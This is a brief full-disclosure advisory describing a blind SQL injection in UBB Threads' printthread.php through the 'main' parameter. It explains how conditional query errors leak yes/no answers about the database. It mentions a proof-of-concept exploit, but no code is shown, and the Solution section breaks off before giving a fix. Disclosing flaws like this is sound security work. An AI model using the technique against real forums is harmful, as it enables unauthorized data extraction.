UBB Thread /ubbthreads/printthread.php SQL Injection Yes\No vulnerability
Full Disclosure
  Bug discovered By: Axl
  Exploit By: HLL (hllhll at gmail.com)

1. Introduction

There Is a flaw in printthread.php due to insufficient bound checking of the 'main' query parameter
wich allows a malicues SQL to be injected threw the querys

2. Description

The main query parameter is used twice in this page, in different queries and in different number of columbs
thus, the popular 'UNION SELECT' method will is not applicable, because a correct response of the first query, makes the 
second query to be invalid, and because of that, any output that was is dismissed and an error message only for the second query is shown

The catch is, that the second query execution is conditional to the results of the first one
If no results are returned from the first query the second query is not processed, thus, no SQL error will output
  
So, as you see in the POC Exploit below this can be used to still use output from the first query
not as a text\numbers but as a "Are there any results" way.
If the fisrt query would have 0 rows returnd, there will be no SQL error
If at least 1 row is returned, then An SQL Error will show.

3. Solution

Add in the beginning of the PHP file(printthread.php) after the PHP-Code tag ( gmail.com
